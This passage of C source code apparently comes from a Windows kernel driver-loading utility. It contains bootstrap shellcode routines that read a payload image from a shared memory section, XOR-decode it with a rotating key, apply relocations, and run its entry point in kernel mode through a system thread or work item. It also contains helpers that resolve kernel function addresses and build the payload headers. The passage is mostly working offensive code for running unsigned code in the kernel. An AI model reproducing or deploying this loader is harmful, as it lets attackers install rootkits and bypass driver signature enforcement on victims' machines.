driverObject->DriverName.Buffer = (PWSTR)ShellCode->Import.ExAllocatePoolWithTag(PagedPool,
|
|
driverName.MaximumLength, SHELL_POOL_TAG);
|
|
if (driverObject->DriverName.Buffer) {
|
|
driverObject->DriverName.MaximumLength = driverName.MaximumLength;
|
|
driverObject->DriverName.Length = driverName.Length;
|
|
__movsb((PUCHAR)driverObject->DriverName.Buffer, (UCHAR*)driverName.Buffer, driverName.Length);
|
|
}
|
|
|
|
regPath.Buffer = PayloadHeader->RegistryPath.Buffer;
|
|
regPath.Length = PayloadHeader->RegistryPath.Length;
|
|
regPath.MaximumLength = PayloadHeader->RegistryPath.MaximumLength;
|
|
|
|
//
|
|
// Call entrypoint.
|
|
//
|
|
#ifdef _DEBUG
|
|
status = DriverEntryTest(driverObject, ®Path);
|
|
#else
|
|
status = ((PDRIVER_INITIALIZE)(exbuffer + popth->AddressOfEntryPoint))(
|
|
driverObject,
|
|
®Path);
|
|
#endif
|
|
|
|
//
|
|
// Driver initialization failed, get rid of driver object.
|
|
//
|
|
if (!NT_SUCCESS(status)) {
|
|
|
|
PayloadHeader->ObMakeTemporaryObject(driverObject);
|
|
ShellCode->Import.ObfDereferenceObject(driverObject);
|
|
|
|
}
|
|
|
|
} else {
|
|
//
|
|
// ObReferenceObjectByHandle failed.
|
|
// Attempt to get rid of bogus object.
|
|
//
|
|
PayloadHeader->ZwMakeTemporaryObject(driverHandle);
|
|
PayloadHeader->ZwClose(driverHandle);
|
|
}
|
|
|
|
}
|
|
#ifdef ENABLE_DBGPRINT
|
|
//
|
|
// ObInsertObject failed switch, on fail ObManager dereference newly created object automatically.
|
|
//
|
|
else {
|
|
//
|
|
// ObInsertObject failed, output debug here.
|
|
//
|
|
}
|
|
#endif
|
|
|
|
}
|
|
#ifdef ENABLE_DBGPRINT
|
|
//
|
|
// ObCreateObject failed switch, no need to do anything.
|
|
//
|
|
else {
|
|
//
|
|
// ObCreateObject failed, output debug here.
|
|
//
|
|
}
|
|
#endif
|
|
//
|
|
// Save result.
|
|
//
|
|
PayloadHeader->IoStatus.Status = status;
|
|
|
|
//
|
|
// Block further IRP_MJ_CREATE requests.
|
|
//
|
|
DeviceObject->SectorSize = 512;
|
|
|
|
} //ExAllocatePoolWithTag(rawExAlloc)
|
|
|
|
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
|
|
pvSharedSection);
|
|
|
|
} //ZwMapViewOfSection(pvSharedSection)
|
|
|
|
ShellCode->Import.ObfDereferenceObject(SectionRef);
|
|
|
|
//
|
|
// Fire the event to let userland know that we're ready.
|
|
//
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(ShellCode->ReadyEventHandle,
|
|
SYNCHRONIZE | EVENT_MODIFY_STATE, NULL, 0, (PVOID*)&ReadyEvent, NULL);
|
|
if (NT_SUCCESS(status))
|
|
{
|
|
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
|
|
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
|
|
}
|
|
|
|
} // ObReferenceObjectByHandle success
|
|
|
|
}
|
|
ShellCode->Import.IofCompleteRequest(Irp, IO_NO_INCREMENT);
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* ScDispatchRoutineV2
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bootstrap shellcode variant 2.
|
|
* Read image from shared section, process relocs and run it in a worker thread.
|
|
*
|
|
* IRQL: PASSIVE_LEVEL
|
|
*
|
|
*/
|
|
NTSTATUS NTAPI ScDispatchRoutineV2(
|
|
_In_ struct _DEVICE_OBJECT* DeviceObject,
|
|
_Inout_ struct _IRP* Irp,
|
|
_In_ PSHELLCODE ShellCode)
|
|
{
|
|
NTSTATUS status;
|
|
ULONG isz;
|
|
ULONG_PTR img, exbuffer;
|
|
|
|
PIO_STACK_LOCATION StackLocation;
|
|
|
|
PIMAGE_DOS_HEADER dosh;
|
|
PIMAGE_FILE_HEADER fileh;
|
|
PIMAGE_OPTIONAL_HEADER popth;
|
|
PIMAGE_BASE_RELOCATION rel;
|
|
|
|
DWORD_PTR delta;
|
|
LPWORD chain;
|
|
DWORD c, rsz, k, off;
|
|
|
|
PUCHAR ptr;
|
|
|
|
PKEVENT ReadyEvent;
|
|
PVOID SectionRef, pvSharedSection = NULL, rawExAlloc;
|
|
SIZE_T ViewSize;
|
|
|
|
POBJECT_TYPE* ppSecType;
|
|
PPAYLOAD_HEADER_V2 PayloadHeader;
|
|
|
|
WORK_QUEUE_ITEM* WorkItem;
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
|
|
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
|
|
#endif
|
|
|
|
#ifdef _DEBUG
|
|
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
|
|
#else
|
|
StackLocation = IoGetCurrentIrpStackLocation(Irp);
|
|
#endif
|
|
|
|
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
|
|
&& (DeviceObject->SectorSize == 0))
|
|
{
|
|
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
|
|
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(
|
|
ShellCode->SectionHandle,
|
|
SECTION_ALL_ACCESS,
|
|
(ppSecType ? *ppSecType : NULL),
|
|
0,
|
|
(PVOID*)&SectionRef,
|
|
NULL);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
ViewSize = ShellCode->SectionViewSize;
|
|
|
|
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
|
|
NtCurrentProcess(),
|
|
(PVOID*)&pvSharedSection,
|
|
0,
|
|
PAGE_SIZE,
|
|
NULL,
|
|
&ViewSize,
|
|
ViewUnmap,
|
|
0,
|
|
PAGE_READWRITE);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
k = ShellCode->Tag;
|
|
|
|
PayloadHeader = (PAYLOAD_HEADER_V2*)pvSharedSection;
|
|
rsz = PayloadHeader->ImageSize;
|
|
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V2);
|
|
|
|
while (rsz--) {
|
|
*ptr ^= k;
|
|
k = _rotl(k, 1);
|
|
ptr++;
|
|
}
|
|
|
|
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V2);
|
|
dosh = (PIMAGE_DOS_HEADER)img;
|
|
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
|
|
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
|
|
isz = popth->SizeOfImage;
|
|
|
|
//
|
|
// Allocate memory for mapped image.
|
|
//
|
|
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
|
|
NonPagedPool,
|
|
isz + PAGE_SIZE,
|
|
ShellCode->Tag);
|
|
|
|
if (rawExAlloc) {
|
|
|
|
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
|
|
delta = exbuffer - popth->ImageBase;
|
|
|
|
//
|
|
// Relocate image.
|
|
//
|
|
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
|
|
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
if (off && rsz && off + rsz <= isz) {
|
|
rel = (PIMAGE_BASE_RELOCATION)(img + off);
|
|
c = 0;
|
|
while (c < rsz) {
|
|
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
|
|
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
|
|
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
|
|
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
|
|
}
|
|
c += rel->SizeOfBlock;
|
|
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
//
|
|
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
|
|
//
|
|
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
|
|
|
|
//
|
|
// Allocate worker and run image entry point within system worker thread.
|
|
//
|
|
WorkItem = (WORK_QUEUE_ITEM*)ShellCode->Import.ExAllocatePoolWithTag(NonPagedPool,
|
|
sizeof(WORK_QUEUE_ITEM),
|
|
ShellCode->Tag);
|
|
|
|
if (WorkItem) {
|
|
|
|
WorkItem->List.Flink = NULL;
|
|
WorkItem->Parameter = NULL;
|
|
WorkItem->WorkerRoutine = (PWORKER_THREAD_ROUTINE)(exbuffer + popth->AddressOfEntryPoint);
|
|
|
|
PayloadHeader->ExQueueWorkItem(WorkItem, DelayedWorkQueue);
|
|
|
|
//
|
|
// Save result.
|
|
//
|
|
PayloadHeader->IoStatus.Information = (ULONG_PTR)WorkItem;
|
|
PayloadHeader->IoStatus.Status = STATUS_SUCCESS;
|
|
}
|
|
|
|
|
|
//
|
|
// Block further IRP_MJ_CREATE requests.
|
|
//
|
|
DeviceObject->SectorSize = 512;
|
|
|
|
} //ExAllocatePoolWithTag(rawExAlloc)
|
|
|
|
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
|
|
pvSharedSection);
|
|
|
|
} //ZwMapViewOfSection(pvSharedSection)
|
|
|
|
ShellCode->Import.ObfDereferenceObject(SectionRef);
|
|
|
|
//
|
|
// Fire the event to let userland know that we're ready.
|
|
//
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(ShellCode->ReadyEventHandle,
|
|
SYNCHRONIZE | EVENT_MODIFY_STATE, NULL, 0, (PVOID*)&ReadyEvent, NULL);
|
|
if (NT_SUCCESS(status))
|
|
{
|
|
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
|
|
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
|
|
}
|
|
|
|
} // ObReferenceObjectByHandle success
|
|
|
|
}
|
|
ShellCode->Import.IofCompleteRequest(Irp, IO_NO_INCREMENT);
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* ScDispatchRoutineV1
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bootstrap shellcode variant 1.
|
|
* Read image from shared section, process relocs and run it in allocated system thread.
|
|
*
|
|
* IRQL: PASSIVE_LEVEL
|
|
*
|
|
*/
|
|
NTSTATUS NTAPI ScDispatchRoutineV1(
|
|
_In_ struct _DEVICE_OBJECT* DeviceObject,
|
|
_Inout_ struct _IRP* Irp,
|
|
_In_ PSHELLCODE ShellCode)
|
|
{
|
|
NTSTATUS status;
|
|
ULONG isz;
|
|
HANDLE hThread;
|
|
OBJECT_ATTRIBUTES obja;
|
|
ULONG_PTR img, exbuffer;
|
|
|
|
PIO_STACK_LOCATION StackLocation;
|
|
|
|
PIMAGE_DOS_HEADER dosh;
|
|
PIMAGE_FILE_HEADER fileh;
|
|
PIMAGE_OPTIONAL_HEADER popth;
|
|
PIMAGE_BASE_RELOCATION rel;
|
|
|
|
DWORD_PTR delta;
|
|
LPWORD chain;
|
|
DWORD c, rsz, k, off;
|
|
|
|
PUCHAR ptr;
|
|
|
|
PKEVENT ReadyEvent;
|
|
PVOID SectionRef, pvSharedSection = NULL, rawExAlloc;
|
|
SIZE_T ViewSize;
|
|
|
|
POBJECT_TYPE* ppSecType;
|
|
PPAYLOAD_HEADER_V1 PayloadHeader;
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
|
|
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
|
|
#endif
|
|
|
|
#ifdef _DEBUG
|
|
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
|
|
#else
|
|
StackLocation = IoGetCurrentIrpStackLocation(Irp);
|
|
#endif
|
|
|
|
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
|
|
&& (DeviceObject->SectorSize == 0))
|
|
{
|
|
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
|
|
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(
|
|
ShellCode->SectionHandle,
|
|
SECTION_ALL_ACCESS,
|
|
(ppSecType ? *ppSecType : NULL),
|
|
0,
|
|
(PVOID*)&SectionRef,
|
|
NULL);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
ViewSize = ShellCode->SectionViewSize;
|
|
|
|
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
|
|
NtCurrentProcess(),
|
|
(PVOID*)&pvSharedSection,
|
|
0,
|
|
PAGE_SIZE,
|
|
NULL,
|
|
&ViewSize,
|
|
ViewUnmap,
|
|
0,
|
|
PAGE_READWRITE);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
k = ShellCode->Tag;
|
|
|
|
PayloadHeader = (PAYLOAD_HEADER_V1*)pvSharedSection;
|
|
rsz = PayloadHeader->ImageSize;
|
|
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
|
|
|
|
while (rsz--) {
|
|
*ptr ^= k;
|
|
k = _rotl(k, 1);
|
|
ptr++;
|
|
}
|
|
|
|
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
|
|
dosh = (PIMAGE_DOS_HEADER)img;
|
|
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
|
|
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
|
|
isz = popth->SizeOfImage;
|
|
|
|
//
|
|
// Allocate memory for mapped image.
|
|
//
|
|
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
|
|
NonPagedPool,
|
|
isz + PAGE_SIZE,
|
|
ShellCode->Tag);
|
|
|
|
if (rawExAlloc) {
|
|
|
|
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
|
|
delta = exbuffer - popth->ImageBase;
|
|
|
|
//
|
|
// Relocate image.
|
|
//
|
|
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
|
|
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
if (off && rsz && off + rsz <= isz) {
|
|
rel = (PIMAGE_BASE_RELOCATION)(img + off);
|
|
c = 0;
|
|
while (c < rsz) {
|
|
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
|
|
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
|
|
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
|
|
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
|
|
}
|
|
c += rel->SizeOfBlock;
|
|
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
|
|
}
|
|
}
|
|
}
|
|
|
|
//
|
|
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
|
|
//
|
|
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
|
|
|
|
//
|
|
// Create system thread with handler set to image entry point.
|
|
//
|
|
hThread = NULL;
|
|
InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
|
|
|
|
status = PayloadHeader->PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL,
|
|
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL);
|
|
|
|
if (NT_SUCCESS(status))
|
|
PayloadHeader->ZwClose(hThread);
|
|
|
|
//
|
|
// Save result.
|
|
//
|
|
PayloadHeader->IoStatus.Status = status;
|
|
|
|
//
|
|
// Block further IRP_MJ_CREATE requests.
|
|
//
|
|
DeviceObject->SectorSize = 512;
|
|
|
|
} //ExAllocatePoolWithTag(rawExAlloc)
|
|
|
|
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
|
|
pvSharedSection);
|
|
|
|
} //ZwMapViewOfSection(pvSharedSection)
|
|
|
|
ShellCode->Import.ObfDereferenceObject(SectionRef);
|
|
|
|
//
|
|
// Fire the event to let userland know that we're ready.
|
|
//
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(ShellCode->ReadyEventHandle,
|
|
SYNCHRONIZE | EVENT_MODIFY_STATE, NULL, 0, (PVOID*)&ReadyEvent, NULL);
|
|
if (NT_SUCCESS(status))
|
|
{
|
|
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
|
|
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
|
|
}
|
|
|
|
} // ObReferenceObjectByHandle success
|
|
|
|
}
|
|
ShellCode->Import.IofCompleteRequest(Irp, IO_NO_INCREMENT);
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
//
|
|
// In case if MSVC trashes shellcode and you turned off optimization re-enable it here #pragma optimize("", on )
|
|
//
|
|
typedef NTSTATUS(NTAPI* pfnScDispatchRoutine)(
|
|
_In_ struct _DEVICE_OBJECT* DeviceObject,
|
|
_Inout_ struct _IRP* Irp,
|
|
_In_ PVOID ShellCode);
|
|
|
|
typedef VOID(NTAPI* pfnScLoaderRoutine)(
|
|
_In_ PVOID ShellCode);
|
|
|
|
/*
|
|
* ScDispatchRoutineDebugSelector
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Run shellcode according to version during debug.
|
|
*
|
|
*/
|
|
NTSTATUS NTAPI ScDispatchRoutineDebugSelector(
|
|
_In_ ULONG ScVersion,
|
|
_In_ PVOID ScBuffer,
|
|
_In_ struct _DEVICE_OBJECT* DeviceObject,
|
|
_Inout_ struct _IRP* Irp)
|
|
{
|
|
union {
|
|
pfnScDispatchRoutine DispatchRoutine;
|
|
pfnScLoaderRoutine LoaderRoutine;
|
|
} Routine;
|
|
|
|
switch (ScVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
Routine.LoaderRoutine = (pfnScLoaderRoutine)ScLoaderRoutineV1;
|
|
break;
|
|
case KDU_SHELLCODE_V3:
|
|
Routine.DispatchRoutine = (pfnScDispatchRoutine)ScDispatchRoutineV3;
|
|
break;
|
|
case KDU_SHELLCODE_V2:
|
|
Routine.DispatchRoutine = (pfnScDispatchRoutine)ScDispatchRoutineV2;
|
|
break;
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
Routine.DispatchRoutine = (pfnScDispatchRoutine)ScDispatchRoutineV1;
|
|
break;
|
|
}
|
|
|
|
switch (ScVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
Routine.LoaderRoutine(ScBuffer);
|
|
return STATUS_SUCCESS;
|
|
default:
|
|
return Routine.DispatchRoutine(DeviceObject, Irp, ScBuffer);
|
|
}
|
|
}
|
|
|
|
/*
|
|
* ScSizeOfProc
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Very simplified. Return size of procedure when first ret meet.
|
|
*
|
|
*/
|
|
ULONG ScSizeOfProc(
|
|
_In_ PBYTE FunctionPtr)
|
|
{
|
|
ULONG c = 0;
|
|
UCHAR* p;
|
|
hde64s hs;
|
|
|
|
__try {
|
|
|
|
do {
|
|
p = FunctionPtr + c;
|
|
hde64_disasm(p, &hs);
|
|
if (hs.flags & F_ERROR)
|
|
break;
|
|
c += hs.len;
|
|
|
|
} while (*p != 0xC3);
|
|
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
return 0;
|
|
}
|
|
return c;
|
|
}
|
|
|
|
/*
|
|
* ScResolveFunctionByName
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Get function address by it name.
|
|
*
|
|
*/
|
|
ULONG_PTR ScResolveFunctionByName(
|
|
_In_ ULONG_PTR KernelBase,
|
|
_In_ ULONG_PTR KernelImage,
|
|
_In_ LPCSTR Function)
|
|
{
|
|
ULONG_PTR Address = supGetProcAddress(KernelBase, KernelImage, Function);
|
|
if (Address == 0) {
|
|
|
|
supPrintfEvent(kduEventError,
|
|
"[!] Error, %s address cannot be found\r\n", Function);
|
|
|
|
return 0;
|
|
}
|
|
|
|
printf_s("[*] %s 0x%llX\r\n", Function, Address);
|
|
return Address;
|
|
}
|
|
|
|
/*
|
|
* ScGetViewSize
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Return payload section view size.
|
|
*
|
|
*/
|
|
SIZE_T ScGetViewSize(
|
|
_In_ ULONG ScVersion,
|
|
_In_ PVOID ScBuffer
|
|
)
|
|
{
|
|
SIZE_T viewSize;
|
|
PSHELLCODE pvShellCode = (PSHELLCODE)ScBuffer;
|
|
|
|
switch (ScVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V3:
|
|
case KDU_SHELLCODE_V2:
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
viewSize = pvShellCode->SectionViewSize;
|
|
break;
|
|
}
|
|
|
|
return viewSize;
|
|
}
|
|
|
|
/*
|
|
* ScSizeOf
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Return shellcode/payload header size depending on shellcode version.
|
|
*
|
|
*/
|
|
DWORD ScSizeOf(
|
|
_In_ ULONG ScVersion,
|
|
_Out_opt_ PULONG PayloadSize
|
|
)
|
|
{
|
|
ULONG payloadSize;
|
|
|
|
if (PayloadSize) {
|
|
switch (ScVersion) {
|
|
case KDU_SHELLCODE_V3:
|
|
payloadSize = sizeof(PAYLOAD_HEADER_V3);
|
|
break;
|
|
case KDU_SHELLCODE_V2:
|
|
payloadSize = sizeof(PAYLOAD_HEADER_V2);
|
|
break;
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
payloadSize = sizeof(PAYLOAD_HEADER_V1);
|
|
break;
|
|
}
|
|
*PayloadSize = payloadSize;
|
|
}
|
|
|
|
return sizeof(SHELLCODE);
|
|
}
|
|
|
|
/*
|
|
* ScBuildShellImportDebug
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Retrieve pointers for shellcode version independent part for Debug mode.
|
|
*
|
|
*/
|
|
BOOL ScBuildShellImportDebug(
|
|
_In_ ULONG ScVersion,
|
|
_In_ PVOID ScBuffer
|
|
)
|
|
{
|
|
SHELLCODE* ShellCode = (SHELLCODE*)ScBuffer;
|
|
|
|
switch (ScVersion) {
|
|
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V3:
|
|
case KDU_SHELLCODE_V2:
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
#ifdef ENABLE_DBGPRINT
|
|
ShellCode->Import.DbgPrint = DbgPrintTest;
|
|
#endif
|
|
ShellCode->Import.ExAllocatePoolWithTag = &ExAllocatePoolWithTagTest;
|
|
ShellCode->Import.ZwMapViewOfSection = &NtMapViewOfSection;
|
|
ShellCode->Import.ZwUnmapViewOfSection = &NtUnmapViewOfSection;
|
|
ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest;
|
|
ShellCode->Import.KeSetEvent = &KeSetEventTest;
|
|
ShellCode->Import.ObReferenceObjectByHandle = &ObReferenceObjectByHandleTest;
|
|
ShellCode->Import.ObfDereferenceObject = &ObfDereferenceObjectTest;
|
|
g_DummyULONG64 = 0;
|
|
ShellCode->MmSectionObjectType = &g_DummyULONG64;
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* ScBuildShellImport
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Retrieve pointers for shellcode version independent part.
|
|
*
|
|
*/
|
|
BOOL ScBuildShellImport(
|
|
_In_ ULONG ScVersion,
|
|
_In_ PVOID ScBuffer,
|
|
_In_ ULONG_PTR KernelBase,
|
|
_In_ ULONG_PTR KernelImage
|
|
)
|
|
{
|
|
BOOL bResolved = FALSE;
|
|
|
|
ULONG i;
|
|
|
|
SHELLCODE* ShellCode = (SHELLCODE*)ScBuffer;
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
pfnDbgPrint DbgPrintPtr;
|
|
#endif
|
|
|
|
PVOID MmSectionObjectTypePtr;
|
|
|
|
PVOID funcPtrs[MAX_BASE_SCIMPORTS_NODBGPRINT];
|
|
LPCSTR funcNames[MAX_BASE_SCIMPORTS_NODBGPRINT] = {
|
|
"ExAllocatePoolWithTag",
|
|
"IofCompleteRequest",
|
|
"ZwMapViewOfSection",
|
|
"ZwUnmapViewOfSection",
|
|
"ObReferenceObjectByHandle",
|
|
"ObfDereferenceObject",
|
|
"KeSetEvent"
|
|
};
|
|
|
|
UNREFERENCED_PARAMETER(ScVersion);
|
|
|
|
do {
|
|
|
|
#ifndef ENABLE_DBGPRINT
|
|
#pragma warning(push)
|
|
#pragma warning(disable: 4127)
|
|
if (sizeof(ShellCode->Import) != sizeof(funcPtrs))
|
|
break;
|
|
#pragma warning(pop)
|
|
#endif
|
|
|
|
MmSectionObjectTypePtr =
|
|
(PVOID)ScResolveFunctionByName(KernelBase, KernelImage, "MmSectionObjectType");
|
|
ASSERT_RESOLVED_FUNC(MmSectionObjectTypePtr);
|
|
|
|
ShellCode->MmSectionObjectType = MmSectionObjectTypePtr;
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
DbgPrintPtr =
|
|
(pfnDbgPrint)ScResolveFunctionByName(KernelBase, KernelImage, "DbgPrint");
|
|
ASSERT_RESOLVED_FUNC(DbgPrintPtr);
|
|
|
|
ShellCode->Import.DbgPrint = DbgPrintPtr;
|
|
#endif
|
|
|
|
for (i = 0; i < RTL_NUMBER_OF(funcNames); i++) {
|
|
funcPtrs[i] = (PVOID)ScResolveFunctionByName(KernelBase, KernelImage, funcNames[i]);
|
|
ASSERT_RESOLVED_FUNC(funcPtrs[i]);
|
|
}
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
|
|
PUCHAR funcPtr = (PUCHAR)&ShellCode->Import + sizeof(PVOID);
|
|
RtlCopyMemory(funcPtr, funcPtrs, sizeof(funcPtrs));
|
|
|
|
#else
|
|
RtlCopyMemory(&ShellCode->Import, funcPtrs, sizeof(funcPtrs));
|
|
#endif
|
|
bResolved = TRUE;
|
|
|
|
} while (FALSE);
|
|
|
|
return bResolved;
|
|
}
|
|
|
|
/*
|
|
* ScCreateReadyEvent
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Create synchronization event and store value it in shellcode.
|
|
*
|
|
*/
|
|
HANDLE ScCreateReadyEvent(
|
|
_In_ ULONG ScVersion,
|
|
_In_ PVOID ScBuffer
|
|
)
|
|
{
|
|
HANDLE hReadyEvent;
|
|
SHELLCODE* ShellCode = (SHELLCODE*)ScBuffer;
|
|
|
|
hReadyEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
|
|
|
switch (ScVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V3:
|
|
case KDU_SHELLCODE_V2:
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
ShellCode->ReadyEventHandle = hReadyEvent;
|
|
break;
|
|
}
|
|
|
|
return hReadyEvent;
|
|
}
|
|
|
|
/*
|
|
* ScStoreVersionSpecificData
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Store version specific data in the shared section part.
|
|
*
|
|
*/
|
|
BOOLEAN ScStoreVersionSpecificData(
|
|
_In_ PKDU_CONTEXT Context,
|
|
_In_ PVOID PayloadPtr
|
|
)
|
|
{
|
|
union {
|
|
union {
|
|
PAYLOAD_HEADER_V1* v1;
|
|
PAYLOAD_HEADER_V2* v2;
|
|
PAYLOAD_HEADER_V3* v3;
|
|
} Version;
|
|
PVOID Ref;
|
|
} pvPayloadHead;
|
|
|
|
FIXED_UNICODE_STRING regPath, drvName;
|
|
LPWSTR lpRegistryEntryName;
|
|
|
|
pvPayloadHead.Ref = PayloadPtr;
|
|
|
|
switch (Context->ShellVersion) {
|
|
case KDU_SHELLCODE_V3:
|
|
|
|
//
|
|
// Build driver name and registry path for shellcode.
|
|
//
|
|
|
|
if (Context->DriverObjectName.Length == 0)
|
|
return FALSE;
|
|
|
|
//
|
|
// Build driver name in ObManager format.
|
|
//
|
|
|
|
RtlSecureZeroMemory(&drvName, sizeof(drvName));
|
|
|
|
StringCchPrintf(drvName.Buffer, MAX_PATH,
|
|
L"%ws%ws",
|
|
OB_DRIVER_PREFIX,
|
|
Context->DriverObjectName.Buffer);
|
|
|
|
drvName.Length = (USHORT)(_strlen(drvName.Buffer) * sizeof(WCHAR));
|
|
drvName.MaximumLength = drvName.Length + sizeof(WCHAR);
|
|
drvName.Buffer[drvName.Length / sizeof(WCHAR)] = UNICODE_NULL;
|
|
|
|
RtlCopyMemory(&pvPayloadHead.Version.v3->ObjectName,
|
|
&drvName,
|
|
sizeof(FIXED_UNICODE_STRING));
|
|
|
|
if (Context->DriverRegistryPath.Length == 0) {
|
|
|
|
//
|
|
// Registry name not provided, assume it is the same as driver object name.
|
|
//
|
|
|
|
lpRegistryEntryName = Context->DriverObjectName.Buffer;
|
|
|
|
}
|
|
else {
|
|
|
|
lpRegistryEntryName = Context->DriverRegistryPath.Buffer;
|
|
|
|
}
|
|
|
|
StringCchPrintf(regPath.Buffer, MAX_PATH,
|
|
L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%ws",
|
|
lpRegistryEntryName);
|
|
|
|
